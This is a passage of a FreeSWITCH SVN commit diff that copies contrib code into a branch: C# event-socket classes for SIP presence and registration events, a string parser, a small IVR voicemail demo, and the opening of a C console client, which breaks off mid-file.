+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceIn.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,10 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventPresenceIn : EventPresence
+    {
+        public override string ToString()
+        {
+            return "In." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceOut.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceOut.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceOut.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceOut.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceOut.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,12 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventPresenceOut : EventPresence
+    {
+        public override string ToString()
+        {
+            return "Out." + base.ToString();
+        }
+
+
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceProbe.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceProbe.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceProbe.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceProbe.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventPresenceProbe.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,16 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket.SipEvents
+{
+    class EventPresenceProbe : EventPresence
+    {
+        public override string ToString()
+        {
+            return "PresenceProbe." + base.ToString();
+        }
+
+    }
+
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventRoster.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventRoster.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventRoster.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventRoster.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventRoster.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+namespace FreeSwitch.EventSocket
+{
+    class EventRoster : SipEvent
+    {
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaExpire.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaExpire.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaExpire.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaExpire.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaExpire.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,83 @@
+using System;
+
+namespace FreeSwitch.EventSocket
+{
+    public class EventSofiaExpire : EventPresence
+    {
+        private static readonly DateTime UnixEpoch = new DateTime(1970, 1, 1);
+        private string _profileName;
+        private string _userName;
+        private string _domain;
+        private string _userAgent;
+        private DateTime _expires;
+
+        public string ProfileName
+        {
+            get { return _profileName; }
+            set { _profileName = value; }
+        }
+
+        public string UserName
+        {
+            get { return _userName; }
+            set { _userName = value; }
+        }
+
+        public string Domain
+        {
+            get { return _domain; }
+            set { _domain = value; }
+        }
+
+        public string UserAgent
+        {
+            get { return _userAgent; }
+            set { _userAgent = value; }
+        }
+
+        public DateTime Expires
+        {
+            get { return _expires; }
+            set { _expires = value; }
+        }
+
+        /*
+				switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "profile-name", "%s", argv[6]);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "user", "%s", argv[1]);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "host", "%s", argv[2]);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "user-agent", "%s", argv[5]);	
+         * */
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "profile-name":
+                    _profileName = value;
+                    break;
+                case "user":
+                    _userName = value;
+                    break;
+                case "host":
+                    _domain = value;
+                    break;
+                case "expires":
+                    int seconds;
+                    if (int.TryParse(value, out seconds))
+                        _expires = UnixEpoch.AddSeconds(seconds);
+                    break;
+                case "user-agent":
+                    _userAgent = value;
+                    break;
+                default:
+                    return base.ParseCommand(name, value);
+            }
+            return true;
+
+        }
+
+        public override string ToString()
+        {
+            return "SofiaExpire(" + _userName + "@" + _domain + ")." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaRegister.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaRegister.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaRegister.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaRegister.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaRegister.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,99 @@
+namespace FreeSwitch.EventSocket
+{
+    /*
+     * profile-name: gauffin.com
+from-user: jonas
+from-host: gauffin.com
+contact: %22Jonas%20Gauffin%22%20%3Csip%3Ajonas%40192.168.1.101%3A5060%3E
+*/
+
+    /// <summary>
+    /// Sofia_reg.c way down in sofia_reg_handle_register
+    /// </summary>
+    public class EventSofiaRegister : EventBase
+    {
+        private string _domain;
+        private string _profileName;
+        private string _user;
+        private string _contact;
+        private string _callId;
+        private int _expires;
+
+        public string ProfileName
+        {
+            get { return _profileName; }
+            set { _profileName = value; }
+        }
+
+        public string UserName
+        {
+            get { return _user; }
+            set { _user = value; }
+        }
+
+        public string Domain
+        {
+            get { return _domain; }
+            set { _domain = value; }
+        }
+
+        public string Contact
+        {
+            get { return _contact; }
+            set { _contact = value; }
+        }
+
+        public string CallId
+        {
+            get { return _callId; }
+            set { _callId = value; }
+        }
+
+        public int Expires
+        {
+            get { return _expires; }
+            set { _expires = value; }
+        }
+
+        /*
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "profile-name", "%s", profile->name);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from-user", "%s", to_user);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from-host", "%s", to_host);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "rpid", "%s", rpid);
+        */        
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "profile-name":
+                    _profileName = value;
+                    break;
+                case "from-user":
+                    _user = value;
+                    break;
+                case "from-host":
+                    _domain = value;
+                    break;
+                case "contact":
+                    _contact = value;
+                    break;
+                case "call-id":
+                    _callId = value;
+                    break;
+                case "expires":
+                    int.TryParse(value, out _expires);
+                    break;
+                default:
+                    return base.ParseCommand(name, value);
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "SofiaRegister(" + _user + "@" + _domain + ", " + _expires + ")." + base.ToString();
+        }
+    }
+
+
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaUnregister.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaUnregister.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaUnregister.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaUnregister.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/EventSofiaUnregister.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,87 @@
+namespace FreeSwitch.EventSocket.SipEvents
+{
+    public class EventSofiaUnregister : EventBase
+{
+        private string _domain;
+        private string _profileName;
+        private string _user;
+        private string _contact;
+        private string _callId;
+        private int _expires;
+
+        public string ProfileName
+        {
+            get { return _profileName; }
+            set { _profileName = value; }
+        }
+
+        public string UserName
+        {
+            get { return _user; }
+            set { _user = value; }
+        }
+
+        public string Domain
+        {
+            get { return _domain; }
+            set { _domain = value; }
+        }
+
+        public string Contact
+        {
+            get { return _contact; }
+            set { _contact = value; }
+        }
+
+        public string CallId
+        {
+            get { return _callId; }
+            set { _callId = value; }
+        }
+
+        public int Expires
+        {
+            get { return _expires; }
+            set { _expires = value; }
+        }
+
+        /*
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "profile-name", "%s", profile->name);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from-user", "%s", to_user);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "from-host", "%s", to_host);
+			switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "rpid", "%s", rpid);
+        */        
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "profile-name":
+                    _profileName = value;
+                    break;
+                case "from-user":
+                    _user = value;
+                    break;
+                case "from-host":
+                    _domain = value;
+                    break;
+                case "contact":
+                    _contact = value;
+                    break;
+                case "call-id":
+                    _callId = value;
+                    break;
+                case "expires":
+                    int.TryParse(value, out _expires);
+                    break;
+                default:
+                    return base.ParseCommand(name, value);
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "SofiaUnregister(" + _user + "@" + _domain + ", " + _expires + ")." + base.ToString();
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/SipEvent.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/SipEvent.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/SipEvent.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/SipEvent.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/SipEvents/SipEvent.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+namespace FreeSwitch.EventSocket
+{
+    public class SipEvent : EventBase
+    {
+        private string _from;
+        private string _protocol;
+
+        public string Protocol
+        {
+            get { return _protocol; }
+            set { _protocol = value; }
+        }
+
+        /// <summary>
+        /// username@domain
+        /// </summary>
+        public string From
+        {
+            get { return _from; }
+            set { _from = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "from":
+                    _from = value;
+                    break;
+                case "proto":
+                    _protocol = value;
+                    break;
+                default:
+                    return base.ParseCommand(name, value);
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "Sip(" + _from + ")." + base.ToString();
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringHelper.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringHelper.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringHelper.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringHelper.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringHelper.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+namespace FreeSwitch.EventSocket
+{
+    public static class StringHelper
+    {
+        /// <summary>
+        /// This method converts a enum value to the correct format
+        /// that FreeSwitch uses (WORD1_WORD2) instead of the CamelCase that
+        /// we use in .net.
+        /// </summary>
+        /// <param name="name"></param>
+        /// <returns></returns>
+        public static string UpperCaseToCamelCase(string name)
+        {
+            bool isFirst = true;
+            string result = string.Empty;
+            foreach (char ch in name)
+            {
+                if (isFirst)
+                {
+                    result += char.ToUpper(ch);
+                    isFirst = false;
+                }
+                else
+                {
+                    if (ch == '_')
+                        isFirst = true;
+                    else
+                        result += char.ToLower(ch);
+                }
+            }
+            return result;
+        }
+
+        public static string CamelCaseToUpperCase(string name)
+        {
+            string result = string.Empty;
+            bool isFirst = true;
+            foreach (char ch in name)
+            {
+                if (char.IsUpper(ch))
+                {
+                    if (!isFirst)
+                        result += '_';
+                    else
+                        isFirst = false;
+                    result += char.ToUpper(ch);
+                }
+                else
+                    result += char.ToUpper(ch);
+            }
+
+            return result;
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringParser.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringParser.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringParser.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringParser.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/StringParser.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,272 @@
+using System.Collections.Generic;
+
+namespace FreeSwitch.EventSocket
+{
+    internal class StringParser
+    {
+        private readonly Stack<int> _savedPositions = new Stack<int>();
+        private int _pos;
+        private string _text;
+
+        public StringParser(string text)
+        {
+            _pos = 0;
+            _text = text;
+        }
+
+        public bool EOF
+        {
+            get { return IsEOF(_pos); }
+        }
+
+        /// <summary>
+        /// true if we are currently on a emty line
+        /// </summary>
+        public bool EOL
+        {
+            get
+            {
+                if (EOF)
+                    return false;
+                else if (_text[_pos] == '\n')
+                    return true;
+                else if (_pos < _text.Length - 2)
+                    return _text[_pos] == '\r' && _text[_pos + 1] == '\n';
+                else
+                    return false;
+            }
+        }
+
+        public void SavePos()
+        {
+            _savedPositions.Push(_pos);
+        }
+
+        public void RestorePos()
+        {
+            if (_savedPositions.Count > 0)
+                _pos = _savedPositions.Pop();
+        }
+
+        public void ClearSavedPositions()
+        {
+            _savedPositions.Clear();
+        }
+
+        private bool IsEOF(int pos)
+        {
+            return pos >= _text.Length;
+        }
+
+        public bool IsEmptyLine(bool skipWhitespaces)
+        {
+            if (EOF)
+                return false;
+            else if (_pos < _text.Length - 1)
+                return _text[_pos] == '\n';
+            else if (_pos < _text.Length - 2)
+                return _text[_pos] == '\r' && _text[_pos + 1] == '\n';
+
+            return false;
+        }
+
+        public string PeekWord(bool skipWS, bool stopAtEOL)
+        {
+            int startpos = _pos;
+            if (skipWS)
+                SkipWS();
+            int pos = FindWS(stopAtEOL);
+            _pos = startpos;
+
+            if (pos != -1)
+                return _text.Substring(_pos, pos - _pos);
+            else
+                return string.Empty;
+        }
+
+        public string GetWord(bool skipWS, bool stopAtEOL)
+        {
+            int startpos = _pos;
+            if (skipWS)
+                SkipWS();
+            int pos = FindWS(stopAtEOL);
+
+            _pos = pos;
+
+            if (pos != -1)
+                return _text.Substring(startpos, pos - startpos);
+            else
+                return string.Empty;
+        }
+
+        public string ReadLine()
+        {
+            return ReadLine(false);
+        }
+
+        public string ReadLine(bool trimWhiteSpaces)
+        {
+            if (EOF)
+                return string.Empty;
+
+            if (trimWhiteSpaces)
+                SkipWS();
+
+            // loop until we get new line chars
+            int startpos = _pos;
+            while (!EOF && !IsEOL())
+                ++_pos;
+
+            // Save _pos, trim whitespaces, restore _pos
+            int pos = _pos;
+            if (trimWhiteSpaces)
+                TrimEnd();
+            int endpos = _pos;
+            _pos = pos;
+
+            // Move to after new line chars   
+            if (!EOF && _text[_pos] == '\r')
+                ++_pos;
+            if (!EOF && _text[_pos] == '\n')
+                ++_pos;
+
+            // .. and the result is line without whitespaces at the end and without new line chars.
+            return _text.Substring(startpos, endpos - startpos);
+        }
+
+        public string ReadToEmptyLine()
+        {
+            int chars = 4;
+            int pos = _text.IndexOf("\n\n", _pos);
+            if (pos == -1)
+            {
+                chars = 2;
+                pos = _text.IndexOf("\n\n", _pos);
+            }
+            if (pos == -1)
+                return string.Empty;
+
+            int startpos = _pos;
+            _pos = pos + chars;
+            return _text.Substring(startpos, pos - startpos);
+        }
+
+        public string Read(int chars)
+        {
+            if (_text.Length - _pos < chars)
+                return string.Empty;
+
+            string result = _text.Substring(_pos, chars);
+            _pos += chars;
+            return result;
+        }
+
+        public string ReadToEnd()
+        {
+            string result = _text.Substring(_pos, _text.Length - _pos);
+            _pos = _text.Length;
+            return result;
+        }
+
+        public string Read(char delimiter, bool skipWS)
+        {
+            if (skipWS)
+                SkipWS();
+
+            // find delimiter
+            int startpos = _pos;
+            while (!EOF && _text[_pos] != delimiter)
+                ++_pos;
+
+            // did not find it, reset pos
+            if (EOF)
+            {
+                _pos = startpos;
+                return string.Empty;
+            }
+            else
+            {
+                ++_pos; // skip delimiter
+                int endpos = TrimEnd(); // skip 
+                return _text.Substring(startpos, endpos - startpos);
+            }
+        }
+
+        private int TrimEnd()
+        {
+            if (EOF)
+                return _pos;
+
+            int pos = _pos;
+            while (IsWS(_text[pos]))
+                --pos;
+            return pos;
+        }
+
+        private int FindWS(bool stopAtEOL)
+        {
+            if (!stopAtEOL)
+                return FindWS();
+
+            int pos = _pos;
+            while (!IsEOF(pos) && !IsEOL(_text[pos]) && !IsWS(_text[pos]))
+                ++pos;
+
+            return IsEOF(pos) ? -1 : pos;
+        }
+
+        private bool IsEOL()
+        {
+            if (EOF)
+                return true;
+            if (_text[_pos] == '\r')
+                return true;
+            else if (_text[_pos] == '\n')
+                return true;
+            else
+                return false;
+        }
+
+        private bool IsEOL(char ch)
+        {
+            return ch == '\r' || ch == '\n';
+        }
+
+        private bool IsWS(char ch)
+        {
+            return ch == '\t' || ch == ' ';
+        }
+
+        private int FindWS()
+        {
+            int pos = _pos;
+            while (!IsEOF(pos) && !IsWS(_text[pos]))
+                ++pos;
+
+            return IsEOF(pos) ? -1 : pos;
+        }
+
+        public void SkipWS()
+        {
+            while (!EOF && IsWS(_text[_pos]))
+                ++_pos;
+        }
+
+        public void RemoveUsedContent()
+        {
+            _text = _text.Remove(0, _pos);
+            _pos = 0;
+        }
+
+        public void Append(string value)
+        {
+            _text += value;
+        }
+
+        public void Clear()
+        {
+            _text = string.Empty;
+            _pos = 0;
+        }
+    }
+}
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/IvrSocket)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/IvrSocket.csproj

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/IvrSocket.csproj (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/IvrSocket/IvrSocket.csproj) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/IvrSocket.csproj	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/IvrSocket.csproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,54 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProductVersion>8.0.50727</ProductVersion>
+    <SchemaVersion>2.0</SchemaVersion>
+    <ProjectGuid>{22F26D13-0A0E-4345-9FEC-CE13FC8F37FD}</ProjectGuid>
+    <OutputType>Exe</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>IvrSocket</RootNamespace>
+    <AssemblyName>IvrSocket</AssemblyName>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <Compile Include="Voicemail.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <ProjectReference Include="..\FreeSwitchEventSocket\FreeSwitch.EventSocket.csproj">
+      <Project>{3F8895F6-F710-4323-B96A-4EFB6BC97E08}</Project>
+      <Name>FreeSwitch.EventSocket</Name>
+    </ProjectReference>
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+</Project>
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Program.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Program.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/IvrSocket/Program.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Program.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Program.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,36 @@
+using System;
+using System.Threading;
+using FreeSwitch.EventSocket;
+using FreeSwitch.EventSocket.Commands;
+
+namespace IvrSocket
+{
+    class Program
+    {
+        private static EventManager mgr;
+        static void Main(string[] args)
+        {
+            mgr = new EventManager(null);
+            mgr.EventReceived += IvrManager;
+            mgr.Subscribe(Event.All);
+            mgr.Start("localhost");
+            Thread.Sleep(1000);
+            //mgr.Send(new SendEventCmd(new EventMessageWaiting("jonas@192.168.0.58", 1, 2)));
+            Console.ReadLine();
+        }
+
+        private static void IvrManager(EventBase receivedEvent)
+        {
+            if (receivedEvent is EventChannelAnswer)
+            {
+                EventChannelAnswer answer = (EventChannelAnswer)receivedEvent;
+                if (answer.Parameters["variable_ivr_name"] == "voicemail")
+                   new Voicemail(mgr, answer.UniqueId);
+            }
+            else if (receivedEvent is EventChannelHangup)
+            {
+                Console.WriteLine("Bye bye baby!");
+            }
+        }
+    }
+}

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Properties (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/IvrSocket/Properties)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Properties/AssemblyInfo.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Properties/AssemblyInfo.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/IvrSocket/Properties/AssemblyInfo.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Properties/AssemblyInfo.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Properties/AssemblyInfo.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Runtime.InteropServices;
+
+// General Information about an assembly is controlled through the following 
+// set of attributes. Change these attribute values to modify the information
+// associated with an assembly.
+[assembly: AssemblyTitle("IvrSocket")]
+[assembly: AssemblyDescription("")]
+[assembly: AssemblyConfiguration("")]
+[assembly: AssemblyCompany("")]
+[assembly: AssemblyProduct("IvrSocket")]
+[assembly: AssemblyCopyright("Copyright ©  2008")]
+[assembly: AssemblyTrademark("")]
+[assembly: AssemblyCulture("")]
+
+// Setting ComVisible to false makes the types in this assembly not visible 
+// to COM components.  If you need to access a type in this assembly from 
+// COM, set the ComVisible attribute to true on that type.
+[assembly: ComVisible(false)]
+
+// The following GUID is for the ID of the typelib if this project is exposed to COM
+[assembly: Guid("3e447189-bfd8-4412-93bb-da3543dd2ca6")]
+
+// Version information for an assembly consists of the following four values:
+//
+//      Major Version
+//      Minor Version 
+//      Build Number
+//      Revision
+//
+[assembly: AssemblyVersion("1.0.0.0")]
+[assembly: AssemblyFileVersion("1.0.0.0")]

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Voicemail.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Voicemail.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/IvrSocket/Voicemail.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Voicemail.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/IvrSocket/Voicemail.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,32 @@
+using System;
+using System.Threading;
+using FreeSwitch.EventSocket;
+using FreeSwitch.EventSocket.Ivr;
+
+namespace IvrSocket
+{
+    /// <summary>
+    /// Very simple voicemail app =)
+    /// </summary>
+    class Voicemail
+    {
+        private readonly IvrInterface _ivr;
+
+        public Voicemail(EventManager mgr, string uuid)
+        {
+            _ivr = new IvrInterface(mgr, uuid);
+            _ivr.BeginInvoke(OnIvr, null, null);
+        }
+
+        private void OnIvr(IvrInterface app)
+        {
+            _ivr.Play("sv\\system\\record_after_beep.wav", IvrInterface.AllDigits);
+            _ivr.Play("sv\\system\\record_after_beep.wav", IvrInterface.AllDigits);
+            _ivr.Play("sv\\system\\record_after_beep.wav", "2");
+            string dtmf = _ivr.GetDtmf(4);
+            Console.WriteLine("Got DTMF: " + dtmf);
+            //_ivr.Sleep(5000);
+            //_ivr.Record("voicemails\\" + Guid.NewGuid() + ".wav", 60);
+        }
+    }
+}

Copied: freeswitch/branches/seven/contrib/vile (from rev 14471, freeswitch/trunk/contrib/vile)

Deleted: freeswitch/branches/seven/contrib/vile/fnd762863yG.html

Copied: freeswitch/branches/seven/contrib/vile/fnd762863yG.html (from rev 14471, freeswitch/trunk/contrib/vile/fnd762863yG.html) (0 => 14472)


--- freeswitch/branches/seven/contrib/vile/fnd762863yG.html	                        (rev 0)
+++ freeswitch/branches/seven/contrib/vile/fnd762863yG.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1 @@
+123

Deleted: freeswitch/branches/seven/contrib/vile/fsconsole.c

Copied: freeswitch/branches/seven/contrib/vile/fsconsole.c (from rev 14471, freeswitch/trunk/contrib/vile/fsconsole.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/vile/fsconsole.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/vile/fsconsole.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,496 @@
+/*
+ *   FreeSWITCH Console
+ */
+
+#include <ctype.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <string.h>
+
+#ifdef WIN32
+#include <winsock2.h>
+#else
+#define closesocket close
+#endif
+
+#ifdef _MSC_VER
+#include <io.h>
+#define write _write
+#else
+#include <netdb.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <sys/errno.h>
+#include <unistd.h>
+#endif
+
+
+#define buflen 4096
+#define NUL '\0'
+
+char *app = "fsconsole";
+
+/* Defaults according to current (12-06-06) freeswitch.xml */
+char *hostname = "localhost";
+char *secret = "ClueCon";
+u_short port = 8021;
+
+/* Debug Level */
+int debug = 0;
+
+char *intro = "Welcome to the FreeSWITCH Console.\n";
+
+char    buffer[buflen], *command;
+#ifdef WIN32
+SOCKET  sd;
+#else
+int     sd;
+#endif
